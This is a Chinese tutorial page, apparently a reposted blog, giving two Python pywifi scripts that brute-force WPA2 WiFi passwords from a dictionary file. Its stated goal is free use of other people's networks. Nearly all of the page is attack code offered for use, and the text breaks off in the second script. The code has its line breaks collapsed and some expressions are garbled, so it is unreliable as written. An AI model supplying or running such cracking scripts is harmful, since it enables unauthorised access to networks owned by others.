python破解wifi密码都有什么方法 python获取wifi密码

【python破解wifi密码都有什么方法 python获取wifi密码】

python破解wifi密码都有什么方法 python获取wifi密码


前言本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解 , 从而实现免费蹭网 。
无图形界面先来看看没有图形界面版的爆破脚本 。
WIFI爆破
私信小编01即可获取大量Python学习资源
import pywififrom pywifi import constimport timeimport datetime# 测试连接 , 返回链接结果def wifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有连接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = "Tr0e"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码profile.key = pwd# 删除所有连接过的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi连接时间time.sleep(2)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接")# 读取密码本def readPassword():success = Falseprint("****************** WIFI破解 ******************")# 密码本路径path = "pwd.txt"# 打开文件file = open(path, "r")start = datetime.datetime.now()while True:try:pwd = file.readline()# 去除密码的末尾换行符pwd = pwd.strip('\n')bool = wifiConnect(pwd)if bool:print("[*] 密码已破解:", pwd)print("[*] WiFi已自动连接!!!")success = Truebreakelse:# 跳出当前循环 , 进行下一次循环print("正在破解 SSID 为 %s 的 WIFI密码 , 当前校验的密码为:%s"%("Tr0e",pwd))except:continueend = datetime.datetime.now()if(success):print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))else:print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码 , 请更换密码字典后重新尝试!")exit(0)if __name__=="__main__":readPassword()代码运行效果:
脚本优化以上脚本需内嵌 WIFI 名、爆破字典路径 , 缺少灵活性 。下面进行改造优化:
import pywifiimport timefrom pywifi import const# WiFi扫描模块def wifi_scan():# 初始化wifiwifi = pywifi.PyWiFi()# 使用第一个无线网卡interface = wifi.interfaces()[0]# 开始扫描interface.scan()for i in range(4):time.sleep(1)print('\r扫描可用 WiFi 中 , 请稍后 。。。('str(3 - i), end=')')print('\r扫描完成!\n''-' * 38)print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))# 扫描结果 , scan_results()返回一个集 , 存放的是每个wifi对象bss = interface.scan_results()# 存放wifi名的集合wifi_name_set = set()for w in bss:# 解决乱码问题wifi_name_and_signal = (100w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_set.add(wifi_name_and_signal)# 存入列表并按信号排序wifi_name_list = list(wifi_name_set)wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)num = 0# 格式化输出while num < len(wifi_name_list):print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))num= 1print('-' * 38)# 返回wifi列表return wifi_name_list# WIFI破解模块def wifi_password_crack(wifi_name):# 字典路径wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式 , 每个密码占据1行)的路径:")with open(wifi_dic_path, 'r') as f:# 遍历密码for pwd in f:# 去除密码的末尾换行符pwd = pwd.strip('\n')# 创建wifi对象wifi = pywifi.PyWiFi()# 创建网卡对象 , 为第一个wifi网卡interface = wifi.interfaces()[0]# 断开所有wifi连接interface.disconnect()# 等待其断开while interface.status() == 4:# 当其处于连接状态时 , 利用循环等待其断开pass# 创建连接文件(对象)profile = pywifi.Profile()# wifi名称profile.ssid = wifi_name# 需要认证profile.auth = const.AUTH_ALG_OPEN# wifi默认加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMP# wifi密码profile.key = pwd# 删除所有wifi连接文件interface.remove_all_network_profiles()# 设置新的wifi连接文件tmp_profile = interface.add_network_profile(profile)# 开始尝试连接interface.connect(tmp_profile)start_time = time.time()while time.time() - start_time

推荐阅读